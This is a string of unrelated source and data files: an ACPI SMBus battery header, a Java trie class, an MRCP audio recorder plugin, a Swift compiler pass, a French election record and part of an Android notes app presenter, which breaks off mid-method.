* range : signed WORD
*/
#define SMBATT_CMD_CURRENT 0xa
/*
* access: READ WORD
* unit : mA
* range : signed WORD
*/
#define SMBATT_CMD_AVERAGE_CURRENT 0xb
/*
* access: READ WORD
* unit : percent
* range : 0..100 inclusively
*/
#define SMBATT_CMD_MAX_ERROR 0xc
/*
* access: READ WORD
* unit : percent
* range : 0..100 inclusively
*/
#define SMBATT_CMD_RELATIVE_STATE_OF_CHARGE 0xd
/*
* access: READ WORD
* unit : percent
* range : 0..100 inclusively
*/
#define SMBATT_CMD_ABSOLUTE_STATE_OF_CHARGE 0xe
/*
* access: READ WORD
* unit : mAh (CAPACITY_MODE=0) or 10 mWh (CAPACITY_MODE=1)
* range : 0..65535 inclusively
*/
#define SMBATT_CMD_REMAINING_CAPACITY 0xf
/*
* access: READ WORD
* unit : mAh (CAPACITY_MODE=0) or 10 mWh (CAPACITY_MODE=1)
* range : 0..65535 inclusively
*/
#define SMBATT_CMD_FULL_CHARGE_CAPACITY 0x10
/*
* access: READ WORD
* unit : minutes
* range : 0..65534, 65535 is reserved
*/
#define SMBATT_CMD_RUN_TIME_TO_EMPTY 0x11
/*
* access: READ WORD
* unit : minutes
* range : 0..65534, 65535 is reserved
*/
#define SMBATT_CMD_AVERAGE_TIME_TO_EMPTY 0x12
/*
* access: READ WORD
* unit : minutes
* range : 0..65534, 65535 is reserved
*/
#define SMBATT_CMD_AVERAGE_TIME_TO_FULL 0x13
/*
* access: READ WORD
* unit : mA
*/
#define SMBATT_CMD_CHARGING_CURRENT 0x14
/*
* access: READ WORD
* unit : mV
* range : 0 .. 65534, 65535 reserved
*/
#define SMBATT_CMD_CHARGING_VOLTAGE 0x15
/* access: READ WORD */
#define SMBATT_CMD_BATTERY_STATUS 0x16
/* alarm bits */
#define SMBATT_BS_OVER_CHARGED_ALARM (1 << 15)
#define SMBATT_BS_TERMINATE_CHARGE_ALARM (1 << 14)
#define SMBATT_BS_RESERVED_2 (1 << 13)
#define SMBATT_BS_OVER_TEMP_ALARM (1 << 12)
#define SMBATT_BS_TERMINATE_DISCHARGE_ALARM (1 << 11)
#define SMBATT_BS_RESERVED_1 (1 << 10)
#define SMBATT_BS_REMAINING_CAPACITY_ALARM (1 << 9)
#define SMBATT_BS_REMAINING_TIME_ALARM (1 << 8)
/* status bits */
#define SMBATT_BS_INITIALIZED (1 << 7)
#define SMBATT_BS_DISCHARGING (1 << 6)
#define SMBATT_BS_FULLY_CHARGED (1 << 5)
#define SMBATT_BS_FULLY_DISCHARGED (1 << 4)
/* error bits */
#define SMBATT_BS_GET_ERROR(x) ((x) & 0xf)
#define SMBATT_BS_ERROR_OK 0
#define SMBATT_BS_ERROR_BUSY 1
#define SMBATT_BS_ERROR_RESERVED_COMMAND 2
#define SMBATT_BS_ERROR_UNSUPPORTED_COMMAND 3
#define SMBATT_BS_ERROR_ACCESS_DENIED 4
#define SMBATT_BS_ERROR_OVER_UNDER_FLOW 5
#define SMBATT_BS_ERROR_BADSIZE 6
#define SMBATT_BS_ERROR_UNKNOWN 7
/*
* access: READ WORD
* unit : cycle(s)
* range : 0 .. 65534, 65535 reserved
*/
#define SMBATT_CMD_CYCLE_COUNT 0x17
/*
* access: READ WORD
* unit : mAh (CAPACITY_MODE=0) or 10 mWh (CAPACITY_MODE=1)
* range : 0..65535 inclusively
*/
#define SMBATT_CMD_DESIGN_CAPACITY 0x18
/*
* access: READ WORD
* unit : mV
* range : 0..65535 mV
*/
#define SMBATT_CMD_DESIGN_VOLTAGE 0x19
/* access: READ WORD */
#define SMBATT_CMD_SPECIFICATION_INFO 0x1a
#define SMBATT_SI_GET_REVISION(x) (((x) >> 0) & 0xf)
#define SMBATT_SI_GET_VERSION(x) (((x) >> 4) & 0xf)
#define SMBATT_SI_GET_VSCALE(x) (((x) >> 8) & 0xf)
#define SMBATT_SI_GET_IPSCALE(x) (((x) >> 12) & 0xf)
/* access: READ WORD */
#define SMBATT_CMD_MANUFACTURE_DATE 0x1b
#define SMBATT_MD_GET_DAY(x) (((x) >> 0) & 0x1f)
#define SMBATT_MD_GET_MONTH(x) (((x) >> 5) & 0xf)
#define SMBATT_MD_GET_YEAR(x) ((((x) >> 9) & 0x7f) + 1980)
/* access: READ WORD */
#define SMBATT_CMD_SERIAL_NUMBER 0x1c
/* access: READ BLOCK */
#define SMBATT_CMD_MANUFACTURER_NAME 0x20
/* access: READ BLOCK */
#define SMBATT_CMD_DEVICE_NAME 0x21
/* access: READ BLOCK */
#define SMBATT_CMD_DEVICE_CHEMISTRY 0x22
/* access: READ BLOCK */
#define SMBATT_CMD_MANUFACTURER_DATA 0x23
#endif /* !_ACPI_SMBUS_H_ */
| 3,129
|
461
|
<reponame>agnes-yang/LeetCode-Solutions-in-Good-Style
public class Trie3 {
private Node root;
private class Node {
private Node[] dict;
private boolean isWord;
public Node() {
// 你可以假设所有的输入都是由小写字母 a-z 构成的
dict = new Node[26];
this.isWord = false;
}
}
/**
* Initialize your data structure here.
*/
public Trie3() {
root = new Node();
}
/**
* Inserts a word into the trie.
*/
public void insert(String word) {
int len = word.length();
Node curNode = root;
for (int i = 0; i < len; i++) {
char curChar = word.charAt(i);
Node next = curNode.dict[curChar - 'a'];
if (next == null) {
curNode.dict[curChar - 'a'] = new Node();
}
curNode = curNode.dict[curChar - 'a'];
}
if (!curNode.isWord) {
curNode.isWord = true;
}
}
/**
* Returns if the word is in the trie.
*/
public boolean search(String word) {
int len = word.length();
Node curNode = root;
for (int i = 0; i < len; i++) {
char curC = word.charAt(i);
Node next = curNode.dict[curC - 'a'];
if (next == null) {
return false;
} else {
curNode = next;
}
}
return curNode.isWord;
}
/**
* Returns if there is any word in the trie that starts with the given prefix.
*/
public boolean startsWith(String prefix) {
int len = prefix.length();
Node curNode = root;
for (int i = 0; i < len; i++) {
char curC = prefix.charAt(i);
Node next = curNode.dict[curC - 'a'];
if (next == null) {
return false;
} else {
curNode = next;
}
}
return true;
}
public static void main(String[] args) {
Trie3 trie3 = new Trie3();
trie3.insert("helloworld");
boolean startsWith = trie3.startsWith("hello");
System.out.println(startsWith);
boolean search1 = trie3.search("helloworld");
System.out.println(search1);
boolean search2 = trie3.search("hello");
System.out.println(search2);
}
}
| 1,327
|
310
|
{
"name": "Timings",
"description": "Time tracking software for the Mac.",
"url": "https://www.mediaatelier.com/Timings2/"
}
| 45
|
348
|
{"nom":"Fresnes-en-Saulnois","circ":"4ème circonscription","dpt":"Moselle","inscrits":142,"abs":71,"votants":71,"blancs":3,"nuls":0,"exp":68,"res":[{"nuance":"LR","nom":"<NAME>","voix":46},{"nuance":"REM","nom":"<NAME>","voix":22}]}
| 97
|
308
|
/*
* Copyright 2008-2015 <NAME>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* Mandatory rules concerning plugin implementation.
* 1. Each plugin MUST implement a plugin/engine creator function
* with the exact signature and name (the main entry point)
* MRCP_PLUGIN_DECLARE(mrcp_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
* 2. Each plugin MUST declare its version number
* MRCP_PLUGIN_VERSION_DECLARE
* 3. One and only one response MUST be sent back to the received request.
* 4. Methods (callbacks) of the MRCP engine channel MUST not block.
* (asynchronous response can be sent from the context of other thread)
* 5. Methods (callbacks) of the MPF engine stream MUST not block.
*/
#include "mrcp_recorder_engine.h"
#include "mpf_activity_detector.h"
#include "apt_log.h"
#define RECORDER_ENGINE_TASK_NAME "Recorder Engine"
typedef struct recorder_channel_t recorder_channel_t;
/** Declaration of recorder engine methods */
static apt_bool_t recorder_engine_destroy(mrcp_engine_t *engine);
static apt_bool_t recorder_engine_open(mrcp_engine_t *engine);
static apt_bool_t recorder_engine_close(mrcp_engine_t *engine);
static mrcp_engine_channel_t* recorder_engine_channel_create(mrcp_engine_t *engine, apr_pool_t *pool);
static const struct mrcp_engine_method_vtable_t engine_vtable = {
recorder_engine_destroy,
recorder_engine_open,
recorder_engine_close,
recorder_engine_channel_create
};
/** Declaration of recorder channel methods */
static apt_bool_t recorder_channel_destroy(mrcp_engine_channel_t *channel);
static apt_bool_t recorder_channel_open(mrcp_engine_channel_t *channel);
static apt_bool_t recorder_channel_close(mrcp_engine_channel_t *channel);
static apt_bool_t recorder_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request);
static const struct mrcp_engine_channel_method_vtable_t channel_vtable = {
recorder_channel_destroy,
recorder_channel_open,
recorder_channel_close,
recorder_channel_request_process
};
/** Declaration of recorder audio stream methods */
static apt_bool_t recorder_stream_destroy(mpf_audio_stream_t *stream);
static apt_bool_t recorder_stream_open(mpf_audio_stream_t *stream, mpf_codec_t *codec);
static apt_bool_t recorder_stream_close(mpf_audio_stream_t *stream);
static apt_bool_t recorder_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame);
static const mpf_audio_stream_vtable_t audio_stream_vtable = {
recorder_stream_destroy,
NULL,
NULL,
NULL,
recorder_stream_open,
recorder_stream_close,
recorder_stream_write,
NULL
};
/** Declaration of recorder channel */
struct recorder_channel_t {
/** Engine channel base */
mrcp_engine_channel_t *channel;
/** Active (in-progress) record request */
mrcp_message_t *record_request;
/** Pending stop response */
mrcp_message_t *stop_response;
/** Indicates whether input timers are started */
apt_bool_t timers_started;
/** Voice activity detector */
mpf_activity_detector_t *detector;
/** Max length of the recording in msec */
apr_size_t max_time;
/** Elapsed time of the recording in msec */
apr_size_t cur_time;
/** Written size of the recording in bytes */
apr_size_t cur_size;
/** File name of the recording */
const char *file_name;
/** File to write to */
FILE *audio_out;
};
/** Declare this macro to set plugin version */
MRCP_PLUGIN_VERSION_DECLARE
/**
* Declare this macro to use log routine of the server, plugin is loaded from.
* Enable/add the corresponding entry in logger.xml to set a cutsom log source priority.
* <source name="RECORD-PLUGIN" priority="DEBUG" masking="NONE"/>
*/
MRCP_PLUGIN_LOG_SOURCE_IMPLEMENT(RECORD_PLUGIN,"RECORD-PLUGIN")
/** Use custom log source mark */
#define RECORD_LOG_MARK APT_LOG_MARK_DECLARE(RECORD_PLUGIN)
/** Create recorder engine */
MRCP_PLUGIN_DECLARE(mrcp_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
{
/* create engine base */
return mrcp_engine_create(
MRCP_RECORDER_RESOURCE, /* MRCP resource identifier */
NULL, /* object to associate */
&engine_vtable, /* virtual methods table of engine */
pool); /* pool to allocate memory from */
}
/** Destroy recorder engine */
static apt_bool_t recorder_engine_destroy(mrcp_engine_t *engine)
{
return TRUE;
}
/** Open recorder engine */
static apt_bool_t recorder_engine_open(mrcp_engine_t *engine)
{
return mrcp_engine_open_respond(engine,TRUE);
}
/** Close recorder engine */
static apt_bool_t recorder_engine_close(mrcp_engine_t *engine)
{
return mrcp_engine_close_respond(engine);
}
static mrcp_engine_channel_t* recorder_engine_channel_create(mrcp_engine_t *engine, apr_pool_t *pool)
{
mpf_stream_capabilities_t *capabilities;
mpf_termination_t *termination;
/* create recorder channel */
recorder_channel_t *recorder_channel = apr_palloc(pool,sizeof(recorder_channel_t));
recorder_channel->record_request = NULL;
recorder_channel->stop_response = NULL;
recorder_channel->detector = mpf_activity_detector_create(pool);
recorder_channel->max_time = 0;
recorder_channel->cur_time = 0;
recorder_channel->cur_size = 0;
recorder_channel->file_name = NULL;
recorder_channel->audio_out = NULL;
capabilities = mpf_sink_stream_capabilities_create(pool);
mpf_codec_capabilities_add(
&capabilities->codecs,
MPF_SAMPLE_RATE_8000 | MPF_SAMPLE_RATE_16000,
"LPCM");
/* create media termination */
termination = mrcp_engine_audio_termination_create(
recorder_channel, /* object to associate */
&audio_stream_vtable, /* virtual methods table of audio stream */
capabilities, /* stream capabilities */
pool); /* pool to allocate memory from */
/* create engine channel base */
recorder_channel->channel = mrcp_engine_channel_create(
engine, /* engine */
&channel_vtable, /* virtual methods table of engine channel */
recorder_channel, /* object to associate */
termination, /* associated media termination */
pool); /* pool to allocate memory from */
return recorder_channel->channel;
}
/** Destroy engine channel */
static apt_bool_t recorder_channel_destroy(mrcp_engine_channel_t *channel)
{
/* nothing to destrtoy */
return TRUE;
}
/** Open engine channel (asynchronous response MUST be sent)*/
static apt_bool_t recorder_channel_open(mrcp_engine_channel_t *channel)
{
/* open channel and send asynch response */
return mrcp_engine_channel_open_respond(channel,TRUE);
}
/** Close engine channel (asynchronous response MUST be sent)*/
static apt_bool_t recorder_channel_close(mrcp_engine_channel_t *channel)
{
/* close channel, make sure there is no activity and send asynch response */
return mrcp_engine_channel_close_respond(channel);
}
/** Open file to record */
static apt_bool_t recorder_file_open(recorder_channel_t *recorder_channel, mrcp_message_t *request)
{
char *file_path;
char *file_name;
mrcp_engine_channel_t *channel = recorder_channel->channel;
const apt_dir_layout_t *dir_layout = channel->engine->dir_layout;
const mpf_codec_descriptor_t *descriptor = mrcp_engine_sink_stream_codec_get(channel);
if(!descriptor) {
apt_log(RECORD_LOG_MARK,APT_PRIO_WARNING,"Failed to Get Codec Descriptor " APT_SIDRES_FMT, MRCP_MESSAGE_SIDRES(request));
return FALSE;
}
file_name = apr_psprintf(channel->pool,"rec-%dkHz-%s-%"MRCP_REQUEST_ID_FMT".pcm",
descriptor->sampling_rate/1000,
request->channel_id.session_id.buf,
request->start_line.request_id);
file_path = apt_vardir_filepath_get(dir_layout,file_name,channel->pool);
if(!file_path) {
return FALSE;
}
if(recorder_channel->audio_out) {
fclose(recorder_channel->audio_out);
recorder_channel->audio_out = NULL;
}
apt_log(RECORD_LOG_MARK,APT_PRIO_INFO,"Open Utterance Output File [%s] for Writing",file_path);
recorder_channel->audio_out = fopen(file_path,"wb");
if(!recorder_channel->audio_out) {
apt_log(RECORD_LOG_MARK,APT_PRIO_WARNING,"Failed to Open Utterance Output File [%s] for Writing",file_path);
return FALSE;
}
recorder_channel->file_name = file_name;
return TRUE;
}
/** Set Record-URI header field */
static apt_bool_t recorder_channel_uri_set(recorder_channel_t *recorder_channel, mrcp_message_t *message)
{
char *record_uri;
/* get/allocate recorder header */
mrcp_recorder_header_t *recorder_header = mrcp_resource_header_prepare(message);
if(!recorder_header) {
return FALSE;
}
record_uri = apr_psprintf(
message->pool,
"<file://mediaserver/data/%s>;size=%"APR_SIZE_T_FMT";duration=%"APR_SIZE_T_FMT,
recorder_channel->file_name,
recorder_channel->cur_size,
recorder_channel->cur_time);
apt_string_set(&recorder_header->record_uri,record_uri);
mrcp_resource_header_property_add(message,RECORDER_HEADER_RECORD_URI);
return TRUE;
}
/** Process RECORD request */
static apt_bool_t recorder_channel_record(recorder_channel_t *recorder_channel, mrcp_message_t *request, mrcp_message_t *response)
{
/* process RECORD request */
mrcp_recorder_header_t *recorder_header;
recorder_channel->timers_started = TRUE;
/* get recorder header */
recorder_header = mrcp_resource_header_get(request);
if(recorder_header) {
if(mrcp_resource_header_property_check(request,RECORDER_HEADER_START_INPUT_TIMERS) == TRUE) {
recorder_channel->timers_started = recorder_header->start_input_timers;
}
if(mrcp_resource_header_property_check(request,RECORDER_HEADER_NO_INPUT_TIMEOUT) == TRUE) {
mpf_activity_detector_noinput_timeout_set(recorder_channel->detector,recorder_header->no_input_timeout);
}
if(mrcp_resource_header_property_check(request,RECORDER_HEADER_FINAL_SILENCE) == TRUE) {
mpf_activity_detector_silence_timeout_set(recorder_channel->detector,recorder_header->final_silence);
}
if(mrcp_resource_header_property_check(request,RECORDER_HEADER_MAX_TIME) == TRUE) {
recorder_channel->max_time = recorder_header->max_time;
}
}
/* open file to record */
if(recorder_file_open(recorder_channel,request) == FALSE) {
response->start_line.request_state = MRCP_REQUEST_STATE_COMPLETE;
response->start_line.status_code = MRCP_STATUS_CODE_METHOD_FAILED;
/* send asynchronous response */
mrcp_engine_channel_message_send(recorder_channel->channel,response);
return TRUE;
}
recorder_channel->cur_time = 0;
recorder_channel->cur_size = 0;
response->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
/* send asynchronous response */
mrcp_engine_channel_message_send(recorder_channel->channel,response);
recorder_channel->record_request = request;
return TRUE;
}
/** Process STOP request */
static apt_bool_t recorder_channel_stop(recorder_channel_t *recorder_channel, mrcp_message_t *request, mrcp_message_t *response)
{
/* store STOP request, make sure there is no more activity and only then send the response */
recorder_channel->stop_response = response;
return TRUE;
}
/** Process START-INPUT-TIMERS request */
static apt_bool_t recorder_channel_timers_start(recorder_channel_t *recorder_channel, mrcp_message_t *request, mrcp_message_t *response)
{
recorder_channel->timers_started = TRUE;
return mrcp_engine_channel_message_send(recorder_channel->channel,response);
}
/** Process MRCP channel request (asynchronous response MUST be sent)*/
static apt_bool_t recorder_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request)
{
apt_bool_t processed = FALSE;
recorder_channel_t *recorder_channel = channel->method_obj;
mrcp_message_t *response = mrcp_response_create(request,request->pool);
switch(request->start_line.method_id) {
case RECORDER_SET_PARAMS:
break;
case RECORDER_GET_PARAMS:
break;
case RECORDER_RECORD:
processed = recorder_channel_record(recorder_channel,request,response);
break;
case RECORDER_STOP:
processed = recorder_channel_stop(recorder_channel,request,response);
break;
case RECORDER_START_INPUT_TIMERS:
processed = recorder_channel_timers_start(recorder_channel,request,response);
break;
default:
break;
}
if(processed == FALSE) {
/* send asynchronous response for not handled request */
mrcp_engine_channel_message_send(channel,response);
}
return TRUE;
}
/* Raise START-OF-INPUT event */
static apt_bool_t recorder_start_of_input(recorder_channel_t *recorder_channel)
{
/* create START-OF-INPUT event */
mrcp_message_t *message = mrcp_event_create(
recorder_channel->record_request,
RECORDER_START_OF_INPUT,
recorder_channel->record_request->pool);
if(!message) {
return FALSE;
}
/* set request state */
message->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
/* send asynch event */
return mrcp_engine_channel_message_send(recorder_channel->channel,message);
}
/* Raise RECORD-COMPLETE event */
static apt_bool_t recorder_record_complete(recorder_channel_t *recorder_channel, mrcp_recorder_completion_cause_e cause)
{
mrcp_recorder_header_t *recorder_header;
/* create RECORD-COMPLETE event */
mrcp_message_t *message = mrcp_event_create(
recorder_channel->record_request,
RECORDER_RECORD_COMPLETE,
recorder_channel->record_request->pool);
if(!message) {
return FALSE;
}
if(recorder_channel->audio_out) {
fclose(recorder_channel->audio_out);
recorder_channel->audio_out = NULL;
}
/* get/allocate recorder header */
recorder_header = mrcp_resource_header_prepare(message);
if(recorder_header) {
/* set completion cause */
recorder_header->completion_cause = cause;
mrcp_resource_header_property_add(message,RECORDER_HEADER_COMPLETION_CAUSE);
}
/* set record-uri */
recorder_channel_uri_set(recorder_channel,message);
/* set request state */
message->start_line.request_state = MRCP_REQUEST_STATE_COMPLETE;
recorder_channel->record_request = NULL;
/* send asynch event */
return mrcp_engine_channel_message_send(recorder_channel->channel,message);
}
/** Callback is called from MPF engine context to destroy any additional data associated with audio stream */
static apt_bool_t recorder_stream_destroy(mpf_audio_stream_t *stream)
{
return TRUE;
}
/** Callback is called from MPF engine context to perform any action before open */
static apt_bool_t recorder_stream_open(mpf_audio_stream_t *stream, mpf_codec_t *codec)
{
return TRUE;
}
/** Callback is called from MPF engine context to perform any action after close */
static apt_bool_t recorder_stream_close(mpf_audio_stream_t *stream)
{
return TRUE;
}
/** Callback is called from MPF engine context to write/send new frame */
static apt_bool_t recorder_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame)
{
recorder_channel_t *recorder_channel = stream->obj;
if(recorder_channel->stop_response) {
if(recorder_channel->audio_out) {
fclose(recorder_channel->audio_out);
recorder_channel->audio_out = NULL;
}
if(recorder_channel->record_request){
/* set record-uri */
recorder_channel_uri_set(recorder_channel,recorder_channel->stop_response);
}
/* send asynchronous response to STOP request */
mrcp_engine_channel_message_send(recorder_channel->channel,recorder_channel->stop_response);
recorder_channel->stop_response = NULL;
recorder_channel->record_request = NULL;
return TRUE;
}
if(recorder_channel->record_request) {
mpf_detector_event_e det_event = mpf_activity_detector_process(recorder_channel->detector,frame);
switch(det_event) {
case MPF_DETECTOR_EVENT_ACTIVITY:
apt_log(RECORD_LOG_MARK,APT_PRIO_INFO,"Detected Voice Activity " APT_SIDRES_FMT,
MRCP_MESSAGE_SIDRES(recorder_channel->record_request));
recorder_start_of_input(recorder_channel);
break;
case MPF_DETECTOR_EVENT_INACTIVITY:
apt_log(RECORD_LOG_MARK,APT_PRIO_INFO,"Detected Voice Inactivity " APT_SIDRES_FMT,
MRCP_MESSAGE_SIDRES(recorder_channel->record_request));
recorder_record_complete(recorder_channel,RECORDER_COMPLETION_CAUSE_SUCCESS_SILENCE);
break;
case MPF_DETECTOR_EVENT_NOINPUT:
apt_log(RECORD_LOG_MARK,APT_PRIO_INFO,"Detected Noinput " APT_SIDRES_FMT,
MRCP_MESSAGE_SIDRES(recorder_channel->record_request));
if(recorder_channel->timers_started == TRUE) {
recorder_record_complete(recorder_channel,RECORDER_COMPLETION_CAUSE_NO_INPUT_TIMEOUT);
}
break;
default:
break;
}
if(recorder_channel->audio_out) {
fwrite(frame->codec_frame.buffer,1,frame->codec_frame.size,recorder_channel->audio_out);
recorder_channel->cur_size += frame->codec_frame.size;
recorder_channel->cur_time += CODEC_FRAME_TIME_BASE;
if(recorder_channel->max_time && recorder_channel->cur_time >= recorder_channel->max_time) {
recorder_record_complete(recorder_channel,RECORDER_COMPLETION_CAUSE_SUCCESS_MAXTIME);
}
}
}
return TRUE;
}
| 6,359
|
72,551
|
<reponame>gandhi56/swift
//===--- DifferentiabilityWitnessDevirtualizer.cpp ------------------------===//
//
// This source file is part of the Swift.org open source project
//
// Copyright (c) 2020 Apple Inc. and the Swift project authors
// Licensed under Apache License v2.0 with Runtime Library Exception
//
// See https://swift.org/LICENSE.txt for license information
// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
//
//===----------------------------------------------------------------------===//
//
// Devirtualizes `differentiability_witness_function` instructions into
// `function_ref` instructions for differentiability witness definitions.
//
//===----------------------------------------------------------------------===//
#include "swift/SIL/SILBuilder.h"
#include "swift/SIL/SILFunction.h"
#include "swift/SIL/SILInstruction.h"
#include "swift/SILOptimizer/PassManager/Transforms.h"
using namespace swift;
namespace {
class DifferentiabilityWitnessDevirtualizer : public SILFunctionTransform {
/// Returns true if any changes were made.
bool devirtualizeDifferentiabilityWitnessesInFunction(SILFunction &f);
/// The entry point to the transformation.
void run() override {
if (devirtualizeDifferentiabilityWitnessesInFunction(*getFunction()))
invalidateAnalysis(SILAnalysis::InvalidationKind::CallsAndInstructions);
}
};
} // end anonymous namespace
bool DifferentiabilityWitnessDevirtualizer::
devirtualizeDifferentiabilityWitnessesInFunction(SILFunction &f) {
bool changed = false;
llvm::SmallVector<DifferentiabilityWitnessFunctionInst *, 8> insts;
for (auto &bb : f) {
for (auto &inst : bb) {
auto *dfwi = dyn_cast<DifferentiabilityWitnessFunctionInst>(&inst);
if (!dfwi)
continue;
insts.push_back(dfwi);
}
}
for (auto *inst : insts) {
auto *witness = inst->getWitness();
if (witness->isDeclaration())
f.getModule().loadDifferentiabilityWitness(witness);
if (witness->isDeclaration())
continue;
changed = true;
SILBuilderWithScope builder(inst);
auto kind = inst->getWitnessKind().getAsDerivativeFunctionKind();
assert(kind.hasValue());
auto *newInst = builder.createFunctionRefFor(inst->getLoc(),
witness->getDerivative(*kind));
inst->replaceAllUsesWith(newInst);
inst->getParent()->erase(inst);
}
return changed;
}
SILTransform *swift::createDifferentiabilityWitnessDevirtualizer() {
return new DifferentiabilityWitnessDevirtualizer();
}
| 802
|
19,824
|
<filename>design-system/packages/icons/icons/PhoneIncomingIcon/package.json
{
"main": "dist/keystone-ui-icons-icons-PhoneIncomingIcon.cjs.js",
"module": "dist/keystone-ui-icons-icons-PhoneIncomingIcon.esm.js"
}
| 79
|
1,706
|
package com.lguipeng.notes.mvp.presenters.impl;
import android.app.Dialog;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.support.annotation.IntDef;
import android.support.v4.view.MenuItemCompat;
import android.support.v4.widget.SwipeRefreshLayout;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.PopupMenu;
import android.support.v7.widget.StaggeredGridLayoutManager;
import android.view.Gravity;
import android.view.KeyEvent;
import android.view.MenuItem;
import com.lguipeng.notes.R;
import com.lguipeng.notes.injector.ContextLifeCycle;
import com.lguipeng.notes.model.SNote;
import com.lguipeng.notes.mvp.presenters.Presenter;
import com.lguipeng.notes.mvp.views.View;
import com.lguipeng.notes.mvp.views.impl.MainView;
import com.lguipeng.notes.ui.AboutActivity;
import com.lguipeng.notes.ui.NoteActivity;
import com.lguipeng.notes.ui.SettingActivity;
import com.lguipeng.notes.utils.EverNoteUtils;
import com.lguipeng.notes.utils.NotesLog;
import com.lguipeng.notes.utils.ObservableUtils;
import com.lguipeng.notes.utils.PreferenceUtils;
import net.tsz.afinal.FinalDb;
import java.util.Arrays;
import java.util.List;
import javax.inject.Inject;
import de.greenrobot.event.EventBus;
import rx.android.schedulers.AndroidSchedulers;
import rx.schedulers.Schedulers;
/**
* Created by lgp on 2015/9/4.
*/
public class MainPresenter implements Presenter, android.view.View.OnClickListener, SwipeRefreshLayout.OnRefreshListener,
PopupMenu.OnMenuItemClickListener, MenuItemCompat.OnActionExpandListener {
private MainView view;
private final Context mContext;
private FinalDb mFinalDb;
private EverNoteUtils mEverNoteUtils;
private ObservableUtils mObservableUtils;
private PreferenceUtils mPreferenceUtils;
private List<String> drawerList;
private SNote.NoteType mCurrentNoteTypePage = SNote.NoteType.getDefault();
private boolean isCardItemLayout = true;
private boolean isRightHandMode = false;
private final String CURRENT_NOTE_TYPE_KEY = "CURRENT_NOTE_TYPE_KEY";
@Inject
public MainPresenter(@ContextLifeCycle ("Activity")Context context, FinalDb finalDb, PreferenceUtils preferenceUtils,
ObservableUtils mObservableUtils, EverNoteUtils everNoteUtils) {
this.mContext = context;
this.mFinalDb = finalDb;
this.mPreferenceUtils = preferenceUtils;
this.mEverNoteUtils = everNoteUtils;
this.mObservableUtils = mObservableUtils;
}
@Override
public void onCreate(Bundle savedInstanceState) {
if (savedInstanceState != null){
int value = savedInstanceState.getInt(CURRENT_NOTE_TYPE_KEY);
mCurrentNoteTypePage = SNote.NoteType.mapValueToStatus(value);
}
view.initToolbar();
initDrawer();
initMenuGravity();
initItemLayoutManager();
initRecyclerView();
EventBus.getDefault().register(this);
}
public void onSaveInstanceState(Bundle outState){
outState.putInt(CURRENT_NOTE_TYPE_KEY, mCurrentNoteTypePage.getValue());
}
@Override
public void onStart() {
}
@Override
public void onResume() {
if (isRightHandMode != mPreferenceUtils.getBooleanParam(mContext
.getString(R.string.right_hand_mode_key))){
isRightHandMode = !isRightHandMode;
if (isRightHandMode){
view.setMenuGravity(Gravity.END);
}else{
view.setMenuGravity(Gravity.START);
}
}
if (isCardItemLayout != mPreferenceUtils.getBooleanParam(mContext
.getString(R.string.card_note_item_layout_key), true)){
switchItemLayoutManager(!isCardItemLayout);
}
}
@Override
public void onPause() {
}
@Override
public void onStop() {
view.closeDrawer();
}
@Override
public void onDestroy() {
EventBus.getDefault().unregister(this);
}
public boolean onKeyDown(int keyCode){
if (keyCode == KeyEvent.KEYCODE_BACK){
if (view.isDrawerOpen()){
view.closeDrawer();
}else {
view.moveTaskToBack();
}
return true;
}
return false;
}
@Override
public void attachView(View view) {
this.view = (MainView)view;
}
public boolean onOptionsItemSelected(int id){
switch (id){
case R.id.setting: startSettingActivity();return true;
case R.id.sync:
if (view.isRefreshing()){
return true;
}
view.startRefresh();
onRefresh();
return true;
case R.id.about: startAboutActivity();return true;
}
return false;
}
@Override
public void onClick(android.view.View v) {
startSettingActivity();
}
@Override
public void onRefresh() {
sync(EverNoteUtils.SyncType.ALL, false);
}
private void initDrawer(){
drawerList = Arrays.asList(mContext.getResources()
.getStringArray(R.array.drawer_content));
view.initDrawerView(drawerList);
view.setDrawerItemChecked(mCurrentNoteTypePage.getValue());
view.setToolbarTitle(drawerList.get(mCurrentNoteTypePage.getValue()));
}
private void initMenuGravity(){
boolean end = mPreferenceUtils.getBooleanParam(mContext.getString(R.string.right_hand_mode_key));
if (end){
view.setMenuGravity(Gravity.END);
}else {
view.setMenuGravity(Gravity.START);
}
isRightHandMode = end;
}
public void onDrawerItemSelect(int position){
mCurrentNoteTypePage = SNote.NoteType.mapValueToStatus(position);
switchNoteTypePage(mCurrentNoteTypePage);
view.setDrawerItemChecked(position);
switch (mCurrentNoteTypePage){
case TRASH:
view.showFab(false);view.enableSwipeRefreshLayout(false);break;
default:
view.showFab(true);view.enableSwipeRefreshLayout(true);break;
}
}
private boolean onMenuItemActionExpand(){
view.enableSwipeRefreshLayout(false);
view.showFab(false);
return true;
}
private boolean onMenuItemActionCollapse(){
if (mCurrentNoteTypePage != SNote.NoteType.TRASH){
view.enableSwipeRefreshLayout(true);
view.showFab(true);
}
return true;
}
@Override
public boolean onMenuItemActionExpand(MenuItem item) {
return onMenuItemActionExpand();
}
@Override
public boolean onMenuItemActionCollapse(MenuItem item) {
return onMenuItemActionCollapse();
}
public void OnNavigationOnClick(){
view.openOrCloseDrawer();
}
private void refreshNoteTypePage(){
switchNoteTypePage(mCurrentNoteTypePage);
}
public void switchNoteTypePage(SNote.NoteType type){
view.showProgressWheel(true);
//TODO 分页,避免数据过多时加载太慢
mObservableUtils.getLocalNotesByType(mFinalDb, type.getValue())
.subscribeOn(Schedulers.computation())
.observeOn(AndroidSchedulers.mainThread())
.subscribe((notes) -> {
view.switchNoteTypePage(notes);
view.closeDrawer();
view.showProgressWheel(false);
